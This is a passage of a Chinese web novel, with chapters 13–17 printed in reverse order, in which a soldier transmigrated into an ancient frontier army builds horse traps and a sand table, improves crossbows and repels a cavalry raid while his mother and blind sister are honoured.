御敌计划中修筑工事的事宜已经实施了下去,改造弓箭也在如火如荼地进行中,剩下的,就是给自己搞一把趁手的兵器。
叶十三提了砍刀,在屋子里来回踱步。
鞑子骑兵的弯刀,刀身又厚又笨,取胜全凭力道。
俗话说得好,一寸长,一寸强。
这兵器要是短,那就是险。
刀法,前世的自己得到家传的精髓,在隐秘的一处宗门,又得到了不少的升华,本以枪炮为主的前世,这些老古董的杀技已经排不上用场了。
没曾料到,命数中居然有这一劫,一场实弹演习的事故,让猪队友擦枪走火后魂穿到了冷兵器称霸的古代。
刀,就是真理。
握在谁的手中,谁就掌握了寻求真理的途径。
大夏的刀,讲究锋利。
为了灵巧,往往刀背较薄,如此一来,和鞑子骑兵的弯刀硬磕之下,劣势太多。
而剑,华而不实,那只是上流雅士们的装饰物,被捧上了兵器的贵族之列,但在实战砍杀中弊端更多。
眼下,魂穿到此的这具肉身,实在是太羸弱了。
当初被赵大牛一拳打断的三根肋骨,断茬至今还没有长结实。
要是能把前世那套鬼神都惧的九幽刀法,和这具肉身合二为一,那将是所向披靡横扫天下的何等霸气?
身处乱世,唯有横刀立马,才能杀出一条金光大道。
九幽刀法,本就没有固定的套路,完全是依据对手的攻击路数,应急产生的一种神出鬼没的反杀反应。
可以说,那是在万千固有招式上,精炼出来的一种意念驭刀技能。
只要头脑里的所想,手中的刀就能把大脑反应变现。
所以,用何样的刀,最适合来执行大脑的意志?
刀型,这才是最主要的选择。
名器之首,当属宝剑。
但宝剑华而不实,不适合九幽刀法的施展。
砍刀,太过笨拙,有碍九幽刀法的特有气质。
元蒙鞑子骑兵的弯刀,那就更扯了,适合当割草的镰刀还差不多。
如果能把长剑和腰刀结合起来,倒也符合九幽刀法的潇洒气质。
把双刃剑,改成单刃刀。
剑身长短不变,尖端改成刀的斜尖。
刀身变窄,剑刃的一面加厚成刀背。
草!
行了,就这样。
第17章 沙盘
吃一堑,长一智。
就是元蒙鞑子骑兵再度偷袭,也不会重蹈旧辙从壕沟正面冲锋。
叶十三站在高处,四下观望一番,指着壕沟两侧靠近烽火台的方向说道:“绕开壕沟,从两头后退五十步开挖陷马坑,本人和丁威一组,张由甲和马成一组。”
“是。”
三人回答得铿锵有力,丝毫不敢拖泥带水,更没人找理由推诿。
叶十三要的就是这种效果。
“听好了,陷马坑要挖成瓮状,底部六尺,还要倒插枣木刺。”
挖成瓮形的陷马坑,底部再倒插上枣木棍削成的尖刺,战马和骑兵要是掉进去,保准被枣木棍削成的尖刺开膛破肚。
这种坑不用多深,只要掉进去的人或者马倒下就行。
上面铺上芦席,洒上薄土用以伪装。
叶十三布置完毕,自己率先拿起镐头,选中了位置,用脚步丈量了一下,然后抡圆了膀子就挖了起来。
……
傍晚时分,四人收工。
看看半天时分的进度,四人累死累活才刨了两个锅坑而已。
战事紧急,如此进度如何能行?
得召集大量的人手来干,不然鞑子骑兵再犯,那就只能引颈待毙了。
回到营房还没来及喝一口热水,叶十三的目光一瞥院子里拴着的马,转头向马成说道:“你骑一匹马去屯田村,召集十来个田兵里面有木工手艺的人,再召集百十个身强力壮的人带上铁锹和镐头,天一亮就来营房报到。”
“这……”
此言一出,马成面颊一抽,尴尬道:“什长大人,军垦的屯田兵卒,按理说不受烽燧兵调遣。”
叶十三嘴角一扬,冷笑道:“你只管传达我的话,借用也好,调遣也罢,你找屯田村的佥事就可。”
烽燧兵和田兵是两个体系,就是调派,至少也得由北防军主管这一块的百夫长才有权下令。
一个奴籍兵卒,何况又不是同一体系,张口就下达了如此不靠谱的命令。
但叶十三的话,马成不得不听,飞身上马后就消失在夜色中……
翌日清晨,天还没完全亮透。
百十个带着工具的田兵,已经在营房外面集结完毕。
透过营房的窗户,昨夜前去传话的马成,也不禁大吃一惊。
虽然不是常规军的田兵,但一个佥事的职位,还是远高于一个什长。
何况叶十三还是个奴籍,身份比庶民还要低等。
他只是硬着头皮传完话,立刻就趁着夜色返回营房,万没想到的是,佥事亲自带着田兵来报到。
原本,就他自己都没抱任何希望。
张由甲也是,和马成一样的想法,觉得叶十三有些飘了,拿谁都当部下使唤。
“屯田村佥事徐老六,带田兵向叶什长报到。”
营房院子的栅门,刚被马成从里面打开,徐老六就迫不及待地进来,站在叶十三住的屋子门口拱手行礼。
“有劳徐佥事了!”
屋子的门“吱呀”一声开了,伸着懒腰的叶十三,睡眼朦胧地站在门口,扫了一眼外面后,又道:“木匠留下,其余人协助烽燧兵挖工事。”
说完,向丁威和徐老六招招手,然后就进了屋子。
桌上,一副沙盘已经呈现在眼前。
叶十三指着沙盘,向跟了进来的徐老六和丁威说道:“鞑子骑兵若是进犯我处,黄羊岘的岘口是唯一的进入通道,除非他们派出步卒,才会从岘口两侧攀岩过来,元蒙的军队擅长马战,派步卒那也是有可能的。”
“进入岘口,就是我方挖的壕沟,吃过大亏的鞑子骑兵,定会绕向壕沟两侧进入我防务区。”
“都给我记住了,壕沟两侧向后五十步左右开挖,每个陷马坑间隔一丈,梅花型分布,一直向两侧山崖下布置。”
“如此一来,只要鞑子骑兵进入岘口,壕沟拦马刺和两侧的陷马坑,就是阻挡鞑子骑兵的第一道防线。”
“第一波鞑子骑兵遇挫,士气必然大折,如此,更利于步弓手射杀……”
叶十三在沙盘上指指点点,一口气将部署的要求吩咐下来。
望着桌上活灵活现的沙盘,不光是佥事徐老六,还是伍长丁威和步弓手张由甲与马成二人,都被惊得合不拢嘴。
自入伍以来,他们只见过军事草图,但这黄羊岘地形地貌的实景,却活生生地摆在眼前的桌上。
“叶什长,这是?”
“沙盘。”
面对徐老六惊讶地一问,叶十三却是轻描淡写的一答。
“沙盘又是何物?”
一阵面面相觑的张由甲和马成他们,丝毫想不出桌上这叫“沙盘”的东西是如何做出来的?
这些鸟人!
要不是在这落后的古代,老子都埋地雷了,还用得着累一身臭汗地去挖陷马坑?
叶十三肚里一阵暗骂,摇摇头笑道:“指挥打仗,没沙盘不行。”
要知道,在前世的现代,制作沙盘那可是军事学院的基础课。
你们懂个俅,懒得跟你们这些鸟人掰扯。
叶十三摆摆手,目光投向丁威,道:“两人一组,赶天黑之前务必完成一半的工事。”
“是。”
丁威面上一紧,拱手一礼,然后带着佥事徐老六就出了屋子。
“什长大人!”
马成凑了上来,瞥了一眼徐老六的背影,悄声道:“徐老六这货,在屯田村那可是横着走的,如今对什长大人也是言听计从啊!”
“那是他不想死而已!”
叶十三摆手,坐了下来又道:“你去把那些木匠带过来,张由甲把缴获的羽箭和硬弓拿一些过来。”
不一刻,在营房外面集结的木匠被带到。
张由甲也从库房拿来了两把硬弓和一把雁翎箭。
人到齐了,东西也拿过来了,叶十三一弯腰,从桌下掏出一根三尺长的木棒来。
拿着木棒,叶十三站了起来,指着木棒的一个面说道:“用刨子推出来一个面,然后在这个位置开槽……”
叶十三连说带比,又用一块木炭在棒子上标着画着,道:“依照平常的弓弩,做个改进,把鞑子骑兵用的这种弓安装上去。”
有着木匠手艺的田兵们,立刻就懂了叶十三的要求。
“叶什长,如此改进,此箭的射程将会提高不少啊!”
“没错,鞑子骑兵用的是雁翎箭,我们用的是鹅毛箭,这雁翎本身就比鹅毛要轻,如此一来,射程、准头就高了不少。”
“应该在前段做个脚蹬,用脚蹬着一头,然后双手拉弦扣箭上去,要比拉弓轻松多了,鞑子的臂力好,不然这弓弦我们的人可拉不动啊!”
到底是手艺人,你一言,他一语,甚至把叶十三没想到的问题都解决了。
“好!”
本来对这些人一脸不屑的叶十三,听着木匠们的讨论,也不禁叫了声好道:“那些死马你们没有白吃,好好干,就按照方才所说的改进,少不了给你们的奖赏。”
别说奖赏了,就阻挡元蒙鞑子骑兵这一点,等于是救了屯田村里无数人的命。
更何况,得了那么多死伤的战马,有了肉吃的田兵们,把屯田村老小的性命安危,早都寄托在叶十三身上了。
北防军的常规军,只是一个靠山,但不是守在他们身边的守护神。
叶十三就不一样了,那可是挡在他们前面的一道安全屏障……
第16章 修筑工事
“闰儿,他们送来如此多的物件,这如何是好?”
心中忐忑不安的叶刘氏,对此还是心有余悸。
“不用怕!”
叶十三知道他这个便宜老娘心中的不安,笑着安慰道:“这里也不是久留之地,要是军部真的嘉奖下来,闰儿给娘和妹妹在镇里买一处院子,雇几个下人伺候着。”
“娘吃些苦倒没什么,只是怕这元蒙鞑子还会卷土重来,这屯田村的老小该如何保全?”
自己已经苟且偷生的叶刘氏,心底善良的她,此时却为村里那些军垦田兵们的家小着急。
军垦的田兵,本来就是北防军中淘汰下来的兵卒们。
年纪超过三十五岁的,体弱多病的,伤残后不能骑射的,都属淘汰之列。
这地方原本只有牧民,也有农业,自从有了田兵,这才有了规模不小的村子和大规模的农耕生产。
“娘莫要担心!”
叶十三抬起头来,望着屋外说道:“如此一役,北防军定会派出精锐沿线驻扎,短期内是不会有事的。”
军垦之地,那可是一半军粮的来源地,算是北防军这片区的粮草供应命脉所在。
军部的那些大人们,定不会坐视不管。
嘴上如是说着,叶十三的心里还真踏实不下来。
要是开了春,几场雨雪降落,黄羊岘的尘土就会减弱不少,要是元蒙鞑子骑兵全线推进,还真是一件让人头疼的事。
以元蒙鞑子骑兵的精悍与凶残,大夏得派出二倍有余的兵力才能抵挡。
假如失去了可以依仗的天时与地利,等到开春,难保北防军不败。
“我的闺儿真的当了军官了?”
叶刘氏望着沉思中的叶十三,不可置信的又是一句追问。
“嗯!”
叶十三点点头,转身望着叶刘氏那张茫然的脸,笑道:“闰儿杀了欺负娘和妹妹的那个狗贼,还有他的同伙都被闰儿杀了,这黄羊岘烽火台就由闰儿说了算。”
“你……真的敢杀人?”
叶刘氏惊叫起来,她原本以为,此战退敌,那是叶十三指挥有方所致,从小读书不少的叶十三,压根就不是操刀的料。
看到叶刘氏如此震惊,叶十三笑了,笑得有些诡异。
“要是闰儿不敢杀人,怎能当上什长?”
“要是闰儿当不了什长,如何部署御敌事宜?”
“闰儿要是没有杀敌的能力,怎会让元蒙鞑子骑兵溃散逃走?”
叶十三的一连三个反问,惊得彩儿又一次张大了嘴巴。
“哥哥,你就是天神下凡啊!”
面对彩儿惊讶的称赞,叶十三只是笑笑,再没说任何的辩解。
天神下凡未必正确,穿越时空的军事高才生却是真的。
原本在心中对前世那场演戏事故诅咒不已的叶十三,此时有些感激那次事故了,他的才能,挡不住子弹,却能挡得住这古代的任何刀枪。
他,就是为古代而生,为魂穿而死。
望着一脸刚毅的叶十三,叶刘氏更是一脸欣慰,惜疼地说道:“若是我的闰儿在军中站稳脚跟,为国屡立战功,叶家昭雪之日也就不远了。”
昭雪之日?
叶刘氏的这话,霎时就让叶十三心头一震。
一个苟且偷活的老妇,此刻还不忘叶家被贬奴籍的耻辱。
叶十三原本想着只是在这兔子都不拉屎的地方活下去,没曾想什么为谁狗屁昭雪。
什么狗屁倒灶的家国情怀?
还不是门阀、世家和皇族们玩弄权术,为了巩固自己的利益而奴役底层的割韭菜行为。
去他娘的!
谁不让老子好过,老子就先弄死他。
叶十三心里如是想着,脸上却是带着笑意说道:“娘教导的是,闰儿时刻铭记在心,等闰儿为朝廷再立汗马功劳,叶家也就有了出头之日。”
当目光瞥到彩儿双目失明的脸上时,叶十三的心里又是一阵刺痛,缓缓又道:“待军部嘉奖颁发,闰儿先带娘和妹妹去镇上找家医馆看病。”
叶刘氏的脚伤,只要有个正骨郎中施治,修养一段时间应该不是问题。
关键是彩儿的眼睛,从残留的记忆中来看,彩儿小时候一场高烧过后就双眼失明,这个治起来还比较麻烦。
“军务缠身,非常时期,闰儿不敢在此久留,得早些回烽火台才是。”
心里一阵发虚的叶十三,找了个借口就像逃命一样离开了茅草屋。
这是自魂穿到此以来,叶十三第三次逃离茅草屋,但也是走得最安然的一次。
叶十三已经在这黄羊岘烽火台高高立威,剩下的几人对他那是佩服的五体投地。
等他到了营房,张由甲已经在汗流浃背地劈柴。
马成也没闲着,烧茶煮饭,一应杂活干得十分卖力。
叶十三心里清楚,这些人生怕他不高兴,这要是让他不高兴,黄羊岘烽火台就没有他们的立足之地。
怕了!
也是服了!
更多的是能抱着他的大腿飞黄腾达。
“修筑工事!”
叶十三站着营房院门口,忽然冒出一句修筑工事的话来。
“什长大人,您回来了?”
愕然抬头之后,张由甲一脸茫然望向叶十三,迟疑片刻,又道:“就我们几人,要修筑工事?”
这不废话吗?
难道老子给营房院里拴着的几匹马说?
“嗯!”
叶十三点点头,沉声又道:“现编兵数六人,眼下战局形势严峻,两班依旧轮换制,烽火台只留瞭望哨、点燧各一名,其余人抢时间修筑工事,”
也就是说,现有的六人,留二人在烽火台值守,另外四人不再是留在营房干活,而是要在烽火台外围修筑工事。
“壕沟需要延伸长度,损坏的拦马刺急需修理,周围还要再补挖陷马坑才行。”
“此次战捷,也是得益于鞑子骑兵的战马扬起的尘雾,让鞑子骑兵自己迷了视线乱作一团,我们这才有机会占了先机杀了个痛快。”
“所以,防御工事必不可少,光有壕沟和拦马刺还远远不够。”
叶十三一口气分派完任务,听得马成和张由甲脸都绿了。
之前十人的编制,砍柴,捡拾狼粪这些都够忙乎的了。而眼下已经减员四人,剩下的这六人却要干如此庞大的工事量。
陷马坑啊!那可是费力气的活。
而且,这陷马坑还得分布出来足够的面积范围,那数量可不是三五个就能够用的。
尽管心里一百个不情愿,但看到叶十三不怒自威的气势时,马成溜到嘴边的话,又给硬生生咽了回去。
兵者,以将帅之令为天职。
叶十三眼下只是个什长,在军职等级中还完全算不上个“官”,但在这黄羊岘烽火台上,什长就是最大的“官”。
好在想到眼下吃粮不是问题,而且还有如此之多的冻马肉。
有了足够的吃的,力气那就自然用之不竭。
叶十三目光一扫马成和张由甲,然后拿起一把镐头,又道:“带上干粮的水,去把丁威喊过来,西北方向半里处开工。”
“小的遵命。”
马成和张由甲把头点得就像鸡啄米一样,然后分头去准备。
望着二人敢怒不敢言的狼狈样,叶十三嘴角扬起一丝笑意。
鸟人!
想跟老子混,就得出力,天上哪有白掉的馅饼?
第15章 子荣母贵
一夜无事,六人悬提着的心,暂且放了下来。
吃饱了烤马肉,又接连喝了一夜茶水的烽燧兵们,终于迎来了天亮的一抹曙光。
烽火台里的六人,破天荒地煮了一顿干饭,就着吃剩的烤马肉,美美地吃了一顿早饭。
“丁威听好了!”
拿手背一抹嘴的叶十三,目光投向张发和李富贵,缓缓说道:“你三人今日值守,切不可轻心大意。”
安顿完毕,叶十三又把视线转移到马成身上,淡淡又道:“有劳你和张由甲了,背上马肉和粮食,跟我去一趟沙窝。”
马成眼珠子骨碌碌一转,立刻就拿起斧子从半只死马的身上砍下一根马后腿扛在肩上。
张由甲也慌忙扛起一袋糙米,跟在马成身后就出了烽火台。
这两人心里清楚,叶十三这是放心不下在沙窝里住着的家人。
“什长大人快看!”
走在最前面的马成,一手指着沙窝方向说道:“那么多人忙忙进的,好一番热闹。”
顺着马成所指,叶十三远远的看到,沙窝里的茅草屋前面,停放着几辆运输用的马车,一群田兵抬着东西在茅草屋里出出进忙个不停。
这是几个意思?
叶十三挠了挠后脑勺,脚下不由得加快了速度。
“什长大人,这些田兵抢在了咱们的前面,准是给老夫人那边送东西去了。”
饱经世故的张由甲,一眼就看明白了沙窝里的情况。
张由甲猜得没错!
还没走动跟前,就有一个领头的田兵,急忙上前向叶十三抱拳行礼。
“小的薛旺,见过什长大人。”
草!
一个烽燧兵什长,居然成了田兵领头口中的“什长大人”?
“你们在此何干?”
叶十三板起脸来,目光冷冷地看向薛旺。
“回什长大人话!”
薛旺挤出一脸的讪笑,殷勤道:“小的想着老夫人和小姐这边还缺些家具物件,这不就给送了过来。”
这嘉奖还没颁发呢!
这些趋炎附势的兵痞们,就已经嗅到了味儿,一股脑儿地上赶着来巴结上了?
那些纺车、织机,被从茅草屋里抬了出来。
散发着膻臭的羊毛和牛毛,也被清理了出来堆在外面。
进得茅草屋里,发现里面已经布置一新,桌子板凳,柜子坛子样样齐全。
慌得不知所措的叶刘氏,摆着两手向布置屋子的田兵们急道:“使不得啊军爷,这叫我老婆子如何是好?”
“老夫人,天气越来越冷了,小的们送些物件和吃喝,您和小姐也好过冬。”
扛着粮食袋子,背着山药蛋的田兵们,一脸含笑地回答着叶刘氏的话。
“哥哥来了,我听见哥哥在说话了。”
躲在叶刘氏身后的彩儿,听到叶十三在外面责问田兵的声音,激动地抓住叶刘氏的衣襟叫喊起来。
“闰儿!”
“娘,是我。”
叶刘氏在看到叶十三的那一刻,话和眼泪同时而出。
“听闻昨天又起战事,我儿不会耽误了军情吧?”
“哥哥,娘整整哭了一夜,一直念叨着哥哥的安危。”
彩儿摸上前来,两只手不停地在叶十三的脸上摩挲着又道:“哥哥,你没受伤吧?彩儿和娘都担心死了。”
“哥哥没事,这不好好的吗?”
叶十三笑着,拉着彩儿的一只手又说道:“敌军已被我打退,想必近期内他们不敢再犯我土。”
叶刘氏拿衣襟擦了擦眼睛,抽泣道:“久闻元蒙鞑子凶残无比,听田兵老爷们说,我儿昨日勇退敌贼,为我大夏立下汗马军功,此事可否真实?”
“娘!”
心头一暖的叶十三,望着和他毫无血缘关系的这对母女,笑道:“要不是闰儿和元蒙鞑子骑兵殊死搏斗,您口中的这些田兵老爷,定会被那些鞑子尽数杀死,粮食、牛羊也会被抢个精光。”
此言一出,叶刘氏就像看着陌生人一样盯着叶十三,狐疑道:“我儿从小羸弱,何能退得如此凶残的来犯之敌?”
这一问,还真问到了点子上。
之子莫如母,叶刘氏对自己儿子的斤两,哪能不清楚?
一个看见杀鸡都发抖的书生,是如何面对那些如狼似虎的元蒙鞑子骑兵?
退敌?
要不是这些田兵来说明情况,何况叶十三又亲口承认,不然打死她都不相信这是真的。
尽管如此,叶刘氏心头还是不大踏实。
“娘!”
看出了端倪的叶十三,上前把叶刘氏扶着坐下,说道:“日后空闲了,闰儿给娘再细说。”
放下了米袋的张由甲,笑眯眯的上前往地上一跪,磕头道:“小的张由甲,见过老夫人和小姐。”
“使不得啊军爷!”
叶刘氏被张由甲的举动,惊得从椅子上几乎蹦了起来。
没等她缓过神来,放下了马后腿的马成,也跟着跪下说道:“叶什长麾下步弓手马成,见过叶老夫人和叶小姐。”
什么?
叶十长?
马成的口中的称呼,让叶刘氏陡然一惊。
前几天还在寒风中四处奔命捡拾狼粪的叶十三,何时成了黄羊岘烽火台的什长?
而且,她这个别人口中的死老婆子,也成了叶老夫人。
就是双目失明的彩儿,也由别人口中的瞎子变成了叶小姐。
“哥哥,你已经是什长了?”
彩儿对此的吃惊,毫不亚于她的母亲叶刘氏。
眼睛虽然看不到东西的她,惊愣得半天合不拢嘴。
“回老夫人话!”
马成一脸讪笑,对叶刘氏又道:“相信用不了几天,军部的嘉奖令就会颁发下来,叶什长有可能会被擢升到更高的军职。”
“没错!”
说到晋职,张由甲更是兴奋不已,混到了中年还是一个底层烽燧兵的他,对这次一飞冲天的机遇,那是他祖辈八代人都修不来的福分。
那成堆的银子,肥沃的良田,仿佛已经呈现在他的眼前。
这一切,都是拜叶十三所赐。
要是按着他们的作为,趁机逃命的话,说不定这会已经变成了一具四肢不全的尸体曝晒荒野。
叶十三就是他的菩萨,眼前衣衫褴褛的这个老妇人,就是菩萨他娘。
“叶老夫人,往后谁要是跟您老过不去,小的我拧下他的脑袋给您老当夜壶。”
想到何虎和陈四狗的死,张由甲的殷勤一下子就冒了出来。
一向机灵的马成,更不会放过这次大献殷勤的机会,转过头来对彩儿笑着说道:“小姐放心,以后胆敢有狂徒对小姐不敬,我马成非打断他的狗腿不可。”
“行了!”
心知肚明的叶十三,哪能不知道这俩货色的心思,无非就是想抱着他的大腿往上爬而已。
见利忘义,是这些人司空见惯的作风。
因祸得福的这些人,生怕落下一丝一毫的表现机会。
“你二人先回营房,我一会就来。”
面对叶十三的嘱咐,马成和张由甲明白,昨天的一阵消耗,烽火台上的燃材得及时不上。
出来事,那可是要掉脑袋的。
“什长大人放心,我等火速去办,保准不误点燧之用。”
二人拍着胸脯向叶十三一通保证后,又向叶刘氏行礼告别。
望着摆了一屋子的家具,看来叶刘氏以后不用再织羊毛毡和搓牛毛绳了。
子荣母贵,这在任何朝代都是硬道理。
就是被贬为奴籍的叶家人,此时也不例外。
“有劳几位了!”
叶十三向候在门口的田兵们潦草一礼,淡淡说道:“诸位去忙吧!回去组织可战之兵,还得防备元蒙鞑子骑兵的报复。”
“遵命!”
领头的田兵,也知道搞不好吃了大亏的元蒙鞑子骑兵,会报复性地前来屠村。
面上一紧,赶忙向叶十三拱手告辞。
其余田兵们倒也知趣,纷纷向叶十三行礼,然后拉着从茅草屋里清理出来的破烂就回了屯田村。
第14章 两脚羊
这等战绩,在大夏与元蒙的交战史上从未有过。
彪悍凶狠的元蒙鞑子,从来就没把大夏士兵当人看。
在他们的眼里,大夏军队里的兵士,就是一只只会说话的两脚羊。
元蒙鞑子骑兵的铁蹄所到之处,大夏兵士无不血流成河,伏尸遍野的惨状令人不寒而栗。
此次来犯的,是企图进入军垦地抢劫牛羊和粮食的一队兵马。
按平时两军对垒的实力来对比,有效抗击这队兵马,北防军就得派出至少上千人的兵力才能与之对抗。
但令人不可置信的是,黄羊岘烽火台编制十人的烽燧兵,在什长高五为首的四人遇难后,余下的六人由奴籍兵卒叶十三带领下,创造出如此惊天动地的战果。
元蒙鞑子兵给大夏人心头留下的阴影,这一下就被叶十三的战绩所冲破。
这会让北防军轰动,更会使朝野震惊。
……
望着眼前被拉坏了的硬弓,粗糙的箭簇,弯曲不直,且长短不一的箭杆时,连叶十三都感到一阵后怕。
这他娘的什么垃圾装备?
再看看眼前的几把佩刀,无一不是锯齿样的烂铁条。
最能入眼的,却是几把劈柴砍树用的斧子。
要不是冬季缺少降雪的干燥,扬起的尘土造成了视线干扰的话,元蒙鞑子的骑兵也就不会被拦马刺折损一部分。
要不是尘土漫天下盲人瞎马乱闯,二三十人也就不会被这些破弓烂箭趁乱射死。
要不是这种乱象下,加上元蒙鞑子的骑兵本来轻敌,他再是武功高强,也不会如此容易地就砍死了七八十名来犯的敌人。
要知道,这些烽燧兵,连一匹像样的战马都没有。
更别说什么能骑善射了?
难怪什长高五,在元蒙鞑子来犯的时候,第一反应就是逃跑。
天时,地利,勉强的人和都让他叶十三占了。
北防军的一名骁骑尉,在烽燧兵的一名百夫长的陪同下,查验过战场后,吃惊得立在马背上半天合不拢嘴。
“这些鞑子,是被你等所杀?”
征战多年的骁骑尉,望着满地的元蒙鞑子骑兵的尸体,不敢相信“眼见为实”这四个字的含义。
“回大人话!”
不失机灵的马成,伸手整了整身上破烂不堪的革甲,单腿跪地,双手抱拳道:“敌袭发生,叶什长指挥有方,示警狼烟升起后,又率领步弓手在烽火台外围狙击……”
“就你们几个?”
骁骑尉手里马鞭一指站成一排的叶十三他们几个,又道:“元蒙鞑子的铁骑无坚不摧,所到之处血流成河,你们居然杀了他们这么多人?”
“军门此言差矣!”
叶十三傲然抬头,双手端着手中那把已经成了锯子的佩刀,上前两步立在骁骑尉的马前,铿锵说道:“元蒙鞑子,也是人生父母养的肉体凡胎,我大夏的兵刀,照样能砍下他们的脑袋。”
可不是吗?
叶十三捧着的那根已经成了锯齿的铁条上,还有人骨的残渣被卡在齿缝中抠不下来。
骁骑尉在马背上弯下身来,从叶十三手中接过那把已经废了的佩刀仔细翻看起来。
片刻后,骁骑尉抬起头来,重新把目光从马成他们背上箭囊里七长八短的箭杆上扫过,不禁唏嘘道:“有此神兵,我大夏何愁不兴?”
一旁陪伴的百夫长,望着满地的战绩,眼里尽是嫉妒,但心里又是一阵自豪。
这次烽燧兵一战成名,他这个百夫长也是脸上有光。
即就是重奖让眼前这几个兵卒得了,但荣誉还是他名下所属。
以北防军的军职编制,从伍长开始,然后是什长,三级就是甲正,四级是百夫长,五级简直青云直上可达千户。
作为百夫长,下管甲正三人,什长十人,伍长二十人。
也就是到这个职务,才勉强算作是个军中小将领。
眼下这个奴籍兵卒叶十三,一下子被晋五级的话,那可是他以后的长官千户大人了。
激动之余,感慨万分的骁骑尉点点头,目光投向叶十三说道:“你等稍安勿躁,还是值守烽火台要紧,待本尉上报军部,按照朝廷惯例对你论功嘉奖。”
……
待骁骑尉的兵马,带着缴获的战利品离开,百夫长又说道:“在军部调令没有下达之前,你们各司其职,万不可轻心大意,这次元蒙鞑子吃了大亏,而且一名中万户被杀,以防敌人报复。”
百夫长交代一番,然后留下了一部分从元蒙鞑子骑兵身上收来的弓箭和刀枪后,这又急急地赶向他辖下的其余烽火台去视察防务。
“叶什长,我们有肉吃了!”
望着田兵们留下的几匹剥掉了马皮的战马,张由甲的喉结不由得一阵蠕动。
天天清汤加烤山药蛋,没有半点油水的肚子里早已咕咕叫了。
“还等何时?”
马成大嘴一咧,向另外几人使个眼色,道:“还不扶什长大人进去歇息?”
丁威更是机灵,向张发说道:“他们先进去给什长大人烧茶,你跟我去营房再抱点柴火,今晚烤马肉少了木柴可不行。”
不多时,叶十三被让到了那张铺着狼皮的椅子上半躺着。
张由甲和李富贵二人,主动担任起了瞭望哨的活。
丁威趴在地上撅着屁股,鼓起腮帮子把火盆里的木柴吹得通旺。
马成自然充当起了烤肉的伙计,被挑选出来的马臀肉,片刻间就被烤得滋滋冒油。
剩下的张发,在另一堆拢起来的牛粪火上烧着茶水。
本来心怀鬼胎的烽燧兵们,要是有大队人马的鞑子兵进犯时,时刻准备着逃命的。
只有零星的鞑子兵出现时,他们才敢顶死了通道的门在烽火台里死守一阵。
都知道,零星的鞑子兵,是无法攻破一座夯实又坚固的烽火台的。
他们只是抢劫一些边境线上牧民们的牛羊财物。
只有像今天这种规模的人马,才会进入军垦区杀人放火掠夺粮食和牛羊马匹的。
但今天,如此规模的鞑子兵,却在叶十三的拼命砍杀下溃不成军。
也是由于叶十三的凶悍,这才让他们几个失去了逃命的机会。
他们不傻,要是出了烽火台就跑,他们几个霎时就会成为叶十三的刀下鬼。
万没想到,也正是由于叶十三的凶悍,这才让他们接住了一场泼天的富贵。
按照朝廷下达给北防军的嘉奖条例,他们几人都将跨越阶层,最次也是能晋升到百夫长的位子。
良田,银子,粮食,更是能揽入怀中。
他们籍贯所在的家人,就能得到地方衙门划拨下来的良田。
有了足够的粮食吃,饿肚子的日子就成了往事。
怀里揣着大把的银子,不愁换岗时去镇上没有窑子逛。
每个人此时都处在极度兴奋的高潮时刻,只有叶十三垂着酸麻的胳膊,躺在狼皮大椅上,一双眼睛死死地盯着烽火台的墙壁发呆。
“在我们没离开之前,还是两班制,三人一组,分两班,原班组人员照旧,暂且擢升丁威任伍长。”
叶十三终于开口了,向精神状态浸沉在兴奋高潮中的五人,下达了他第一次做出的人事任命。
第13章 敌袭
远处,黄羊岘方向,一队铁骑从烟尘中穿出。
站在烽火台上的叶十三眉头紧蹙,定睛瞭望片刻,忽然说道:“马成守住垛口西北面,丁威继续点燧燃烟,其余人跟我下去迎敌。”
“什长大人不可鲁莽!”
步弓手马成,一脸惊慌地回过头来急道:“看情形,元蒙鞑子最少在百骑以上,仅凭我等几人不宜近战,还是守住烽火台等待北防军救援。”
“那样更会困死我们!”
叶十三摆摆手,又道:“张由甲和李富贵听令,你二人去左面壕沟,打开拦马刺的机关,时刻准备近身肉搏。”
“张发跟着我,去右面壕沟,加起拦马刺,狙击敌人进入营房方向。”
三名被点到的兵卒,面色凝重地点点头,紧紧地握着佩刀,下了步梯后打开通道的木门就躬身疾奔而去。
烽火台外面半里处,借着原有地势,左右分布着两条壕沟。
两组人手,从沙土中迅速刨出一截牛皮绳来,然后奋力一拉。
呼啦啦一阵尘土扬起,壕沟前面顿时就出现了一排用削尖了一头的枣木扎成的木栅栏。
这些前段被削尖,后面呈三角的木排栅栏,就是所谓的拦马刺。
布好拦马刺后,分为两组的四人,按照之前的部署,就近选择了可以藏身的岩石后面埋伏下来。
”咴咻咻……”
就在四人刚隐藏好了身子,弥漫过来的烟尘中,十几匹高头大马嘶鸣着就冲了过来。
“轰轰轰……”
在呛人的烟尘中,冲在最前面狂奔的战马,即刻就被拦马刺的尖刺捅进了肚里。
重物倒地的声音,夹杂着人的惨叫,后面收势不住的骑兵们,接二连三地被摔下了马背。
视物不清的烟尘中,惨叫声接连起伏不断。
一条用衣襟裹住了鼻孔和嘴巴的人影,就像幽灵一样穿梭在烟尘中不停地挥刀砍杀。
另外三人,也是各自依仗着岩石的掩护,时不时向烟尘中隐约可见的骑兵放冷箭。
马蹄扬起的烟尘越来越浓密,马背上挥舞着弯刀的元蒙鞑子兵的冲锋一阵紧似一阵。
铁器尖锐的撞击声,马匹沉闷的倒地声,受伤者撕心裂肺的惨叫声,和呛得人睁不开眼睛的烟尘,霎时就交织成了一体……
烽火台上,重新关闭了通道门。
丁威不断地给烽火加柴添狼粪,冲天而起的狼烟在半空中经久不散。
步弓手马成的脚下,码放着成捆的鹅毛羽箭,一张被拉坏了的硬弓扔在脚下,手中取而代之的是赵大牛生前用的那把。
侥幸越过壕沟冲向烽火台这边的元蒙鞑子兵,一个个在离烽火台百步开外被射杀落马。
无主的战马,受惊后又踩踏起一片烟尘四散狂奔着。
“呜呜呜……”
“叮叮叮……”
两个时辰不觉间过去,一阵牛角号夹杂着鸣金声,在黄羊岘上空响起。
忽然一阵风刮了过来,漫天的烟尘开始逐渐散尽,令人作呕的血腥味儿,却直往每个人的鼻孔里直钻。
来的猛烈,去的极速。
烟尘散尽的地上,到处都是元蒙鞑子兵的残肢断手。
无主的战马有的在满地的尸体中寻找着自己的主人。
有的战马一直向村子的方向狂奔而去。
“敌人退了,敌人退了……”
满脸是血,浑身是土的张由甲,挥着一张拉断了弓弦的硬弓,狼嚎一样地在壕沟上面来回狂奔个不停。
“退了,真的退了?”
浑身被汗水湿透了的马成,从垛口望着远去的元蒙鞑子兵的背影,无力地垂下双臂,一屁股就坐在地上。
“快,我们去迎接什长大人!”
呆愣着的丁威,扔掉手中抱着的一捆木柴,发疯似的就冲下了烽火台……
“一,二,三……一百零二,一百零三。”
